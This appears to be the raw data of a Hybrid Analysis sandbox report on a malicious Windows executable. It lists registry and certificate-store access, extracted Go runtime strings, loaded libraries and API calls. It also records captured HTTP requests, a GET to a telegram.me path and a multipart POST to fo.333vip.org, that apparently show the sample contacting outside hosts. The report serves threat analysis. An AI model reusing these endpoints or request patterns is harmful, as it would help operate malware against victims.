24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 45:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4fb,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_60% Sample 7ffa8ceaba69… — Score 77/100 — Hybrid Analysis","description":"Malicious verdict for sample 7ffa8ceaba69…. Malware family: Win/malicious_confidence_60%. Threat score 77/100. 4/25 AV engines flagged this file. 1 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","keywords":["Malicious","Win/malicious_confidence_60%","malware analysis","sandbox report","threat intelligence","7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9"],"about":{"@type":"SoftwareApplication","name":"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","additionalType":"Malicious sample"},"threatScore":77,"malwareFamily":"Win/malicious_confidence_60%","antivirusDetections":{"malicious":4,"total":25},"behavioralIndicators":{"malicious":1,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4de,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\CATALOG_ENTRIES64\000000000001") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\CATALOG_ENTRIES64") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\CATALOG_ENTRIES64\000000000002") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\CATALOG_ENTRIES64\000000000002") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\CATALOG_ENTRIES64\000000000003") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\CATALOG_ENTRIES64\000000000003")26:T372a,Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQuerynot pollableunknown type no name space closed by status= pluginpath= runtime" (Indicator: "CertOpenStore"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found api reference ": pid=: unknown pc called from GetTempPath2WModule32NextWRegDeleteKeyWRegEnumValueWunexpected EOF> closed by closed by work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->atomicstatus=unexpected g statusbad runtime" (Indicator: "CryptReleaseContext"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptiondodeltimer: wrong Padjusttimers: bad pSetTokenInformationMultiByteToWideCharfile already existsfile does not existfile already closedinvalid 23283064365386962890625device or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWreflect.Value.Interfacereflect.Value.NumMethodindex out of range [%x]ReadMemStatsSlow (test)runtimecontentionstackschan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channel) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsmissing type in runfinqruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedRtlGetNtVersionNumbers" (Indicator: "CertGetCertificateChain"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found api reference "panic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksinvalid m->lockedInt = procresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCallDestroyEnvironmentBlock" missing CPU support116415321826934814453125582076609134674072265625connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWreflect.Value.SetComplexhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCupdate during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlapsstack trace unavailablebindm in unexpected GOOSrunqsteal: runq overflowdouble traceGCSweepStartbad use of trace.seqlockXML s" (Indicator: "CertFreeCertificateChain"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of remaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartinconsistent poll.fdMutexExpandEnvironmentStringsWGODEBUG: can not enable "binary.Read: invalid type reflect.Value.CanInterfaceGetFileInformationByHandle1455191522836685180664062572759576141834259033203125invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatus using unaddressable valueunknown ABI parameter kindall goroutines stack tracecall from unknown functionnotewakeup - doub" (Indicator: "CertFreeCertificateContext"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe"), Found api reference "le wakeuppersistentalloc: size == 0negative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=freedefer with d.fn != nilforEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meentersyscall inconsistent inittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memorySetFileInformationByHandlexml: opening charset %q: %w363797880709171295166015625channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorereflect.Value.UnsafePointer is not assignable to type PageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedruntime" (Indicator: "CertEnumCertificatesInStore"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcinternal lockOSThread errorruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for abi.NewName: tag too long: GetFileInformationByHandleEx18189894035458564758300781259094947017729282379150390625file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextcomparing uncomparable type runtime: bad lfnode addre" (Indicator: "CertCreateCertificateContext"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe"), Found api reference "untime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeunescaped < inside quoted string28421709430404007434844970703125resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyMapIter.Value called before Nextreflect.Value.Grow: negative lenbufio: tried to fill full bufferslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceGCProg for type that isn't largeruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = WSAGetOverlappedResult not found_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevrunt" (Indicator: "CertAddCertificateContextToStore"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe"), Found api reference "untime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeunescaped < inside quoted string28421709430404007434844970703125resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyMapIter.Value called before Nextreflect.Value.Grow: negative lenbufio: tried to fill full bufferslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceGCProg for type that isn't largeruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = WSAGetOverlappedResult not found_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevrunt" (Indicator: "CertVerifyCertificateChainPolicy"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe")27:T1c46,Contains base64 string in header "/bj00tyr" in header "GET /bj00tyr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: telegram.me" Contains base64 string in header "Keep" in header "GET /bj00tyr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: telegram.me" Contains base64 string in header "Encoding" in header "GET /bj00tyr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: telegram.me" Contains base64 string in header "gzip" in header "GET /bj00tyr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: telegram.me" Contains base64 string in header "Language" in header "GET /bj00tyr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: telegram.me" Contains base64 string in header "YaBrowser/26" in header "GET /bj00tyr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: telegram.me" Contains base64 string in header "telegram" in header "GET /bj00tyr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: telegram.me" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: fo.333vip.org" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: fo.333vip.org" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: fo.333vip.org" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: fo.333vip.org" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: fo.333vip.org" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: fo.333vip.org" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: fo.333vip.org" Contains base64 string in header "Language" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: fo.333vip.org" Contains base64 string in header "YaBrowser/26" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: fo.333vip.org" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: fo.333vip.org"28:Tabe,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000051a76b25fc7f000000000000000000000000000000000000f0e61f3e2c000000000000000000000040e61f3e2c00000010337925fc7f0000000000000000000090327925fc7f0000040000000000000000009a36050200000000000000000000b00f9b360502000008e71f3e2c00000076c56d25fc7f00000000000000000000000000000000000000eb1f3e2c0000000000000000000000e0e61f3e2c000000650073007300740000007200000000000300000000000000080000000f00000001000000fc7f0000b00f9b3605020000a0109a360f00000008e71f3e2c000000c3f06825fc7f000010759b3605020000e8846925fc7f000030bd9b36 (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007980)29:T727,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")2a:T49b,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00007980)2b:T497a,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter RtlGetNtVersionNumbers (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter SetFileCompletionNotificationModes (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WSAEnumProtocolsW (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter TlsAlloc (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00007980) 